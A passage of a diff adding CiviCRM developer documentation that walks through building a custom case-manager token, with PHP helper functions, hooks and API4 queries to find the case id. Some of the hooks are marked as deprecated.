+  $sqlParams[2] = [$managerRoleId, 'Integer'];
+  $display_name = CRM_Core_DAO::singleValueQuery($sql, $sqlParams);
+
+  return $caseRoles[$managerRoleId.'_'.$dir].': '.$display_name;
+}
+```
+
+The function above loads the case and the case type. It then looks up the case role for the manager and who has that role.
+
+## Retrieve the case id
+
+Implement a function to return the corresponding case id. This is a helper function which can be used in DO NOT USE ANYMORE - [hook_civicrm_tokenValues](../hooks/hook_civicrm_tokenValues/).
+
+```php 
+/**
+ * Return the case_id to be used for replacing the token content.
+ *
+ * @param $values
+ * @param $contacts
+ * @param $contact_id
+ *
+ * @return int|null
+ */
+function mycasetokens_retrieve_case_id($values, $contacts, $contact_id) {
+  if (isset($contacts['case_id'])) {
+    return  $contacts['case_id'];
+  } elseif (isset($values['activity_id']) && $values['activity_id']) {
+    return mycasetokens_get_case_id_by_activity_id($values['activity_id']);
+  } elseif (isset($values['extra_data']['activity']['id']) && $values['extra_data']['activity']['id']) {
+    return mycasetokens_get_case_id_by_activity_id($values['extra_data']['activity']['id']);
+  } elseif (isset(\Civi::$statics['mycasetokens']['activity_ids'])) {
+    return mycasetokens_get_case_id_by_contact_id_and_activity_ids($contact_id, \Civi::$statics['mycasetokens']['activity_ids']);
+  }
+  return null;
+}
+
+/**
+ * Returns the Case ID retrieved by the activity ID.
+ *
+ * @param $activity_id
+ *
+ * @return int|null
+ */
+function mycasetokens_get_case_id_by_activity_id($activity_id) {
+  $case_activity = \Civi\Api4\CaseActivity::get()
+    ->addWhere('activity_id', '=', $activity_id)
+    ->setLimit(1)->execute()->first();
+  return $case_activity['case_id'] ?? NULL;
+}
+
+/**
+ * Returns the Case ID retrieved by a contact_id and mulitple activity ids.
+ * We use this function as we dont know which activity is linked to which contact so
+ * we try to retrieve this link again.
+ *
+ * @param $activity_id
+ *
+ * @return int|null
+ */
+function mycasetokens_get_case_id_by_contact_id_and_activity_ids($contact_id, $activity_ids) {
+  $case_activity = \Civi\Api4\Activity::get()
+    ->addSelect('case.id')
+    ->setJoin([
+      ['ActivityContact AS activity_contact', 'INNER'],
+      ['CaseActivity AS case_activity', 'INNER'],
+      ['Case AS case', 'INNER'],
+    ])
+    ->addWhere('id', 'IN', $activity_ids)
+    ->addWhere('activity_contact.contact_id', '=', $contact_id)
+    ->addWhere('case.is_deleted', '=', FALSE)
+    ->addOrderBy('case.id', 'ASC')
+    ->setLimit(1)
+    ->execute()
+    ->first();
+  return $case_activity['case.id'] ?? NULL;
+}
+```
+
+The function for retrieving the **Case ID** is called `mycasetokens_retrieve_case_id` and we need this function as the case id could be stored in different ways
+and this function checks all those different ways. See the [Theory](#theory).
+
+## Implement the hack for Search results.
+
+Add the following to `mycasetokens.php` to make the hack for search results work:
+
+```php
+
+/**
+ * Implements hook_civicrm_buildForm().
+ *
+ * @link https://docs.civicrm.org/dev/en/latest/hooks/hook_civicrm_buildForm/
+ */
+function mycasetokens_civicrm_buildForm($formName, &$form) {
+  if ($form instanceof CRM_Activity_Form_Task_Email) {
+    \Civi::$statics['mycasetokens']['activity_ids'] = $form->getVar('_activityHolderIds');
+  }
+}
+```
+
+## Implement hook_civicrm_tokens
+
+DO NOT USE ANYMORE - Implement [hook_civicrm_tokens](../hooks/hook_civicrm_tokens/) so that CiviCRM knows about our token. 
+
+Add the following to `mycasetokens.php`:
+
+```php 
+/**
+ * Implements hook_civicrm_tokens().
+ *
+ * @link https://docs.civicrm.org/dev/en/latest/hooks/hook_civicrm_tokens/
+ */
+function mycasetokens_civicrm_tokens(&$tokens) {
+  $tokens['mycasetokens']['mycasetokens.case_manager'] = E::ts('Case Manager') . ' :: ' . E::ts('My Case Tokens');
+}
+```
+
+The function above tells CiviCRM about the token `{mycasetokens.case_manager}`. In the drop down with available tokens our token will show up under **My Case Tokens**.
+
+## Implement hook_civicrm_tokenValues
+
+Implement [hook_civicrm_tokenValues](../hooks/hook_civicrm_tokenValues/) in which we replace the `{mycasetokens.case_manager}` token with the actual contents.
+
+Add the following to `mycasetokens.php`:
+
+```php 
+/**
+ * Implements hook_civicrm_tokenValues().
+ *
+ * @link https://docs.civicrm.org/dev/en/latest/hooks/hook_civicrm_tokenValues/
+ */
+function mycasetokens_civicrm_tokenValues(&$values, $contactIDs, $jobID=null, $tokens=array(), $className=null) {
+  if (mycasetokens_is_token_present($tokens)) {
+    // Normalize $contactIds.
+    // $contactIds is either an array with contact ids
+    // or it is formatted according $contactIds['contact_id'] = 123, $contactIds['case_id'] = 67
+    // if this is the case we wrap the array so it is easier to process.
+    if (is_array($contactIDs) && isset($contactIDs['contact_id'])) {
+      $contactIDs = [$contactIDs]; // Wrap the $contactIds into an array.
+    }
+    foreach ($contactIDs as $index => $contact) {
+      $contact_id = $contact;
+      if (is_array($contact_id) && isset($contact_id['contact_id'])) {
+        $contact_id = $contact_id['contact_id'];
+      }
+      $case_id = mycasetokens_retrieve_case_id($values, $contact, $contact_id);
+      if ($case_id) {
+        $values[$contact_id]['mycasetokens.case_manager'] = mycasetokens_retrieve_case_manager($case_id);
+      }
+    }
+  }
+}
+
+/**
+ * Returns true when the {mycasetokens.case_manager} is set and present in the set and
+ * needs to be replaced.
+ *
+ * @param $tokens
+ * @return bool
+ */
+function mycasetokens_is_token_present($tokens) {
+  if (in_array('case_manager', $tokens)) {
+    return TRUE;
+  } elseif (isset($tokens['case_manager'])) {
+    return TRUE;
+  } elseif (isset($tokens['mycasetokens']) && in_array('case_manager', $tokens['mycasetokens'])) {
+    return TRUE;
+  } elseif (isset($tokens['mycasetokens']['case_manager'])) {
+    return TRUE;
+  }
+  return FALSE;
+}
+```
+
+The code above contains a helper function `mycasetokens_is_token_present` which is to check whether the token `{mycasetokens.case_manager}` exists and in the text and needs to be replaced.  
+
+
+## See also
+
+* DO NOT USE ANYMORE - [hook_civicrm_tokenValues](../hooks/hook_civicrm_tokenValues/)
+* DO NOT USE ANYMORE - [hook_civicrm_tokens](../hooks/hook_civicrm_tokens/)  
+* [hook_civicrm_container](../hooks/hook_civicrm_container.md)
+* [Token Reference](../framework/token.md)
+* [Symfony Event Listener Documentation](http://symfony.com/doc/current/components/event_dispatcher/introduction.html)
+* [My Case Token extension](https://lab.civicrm.org/jaapjansma/mycasetokens)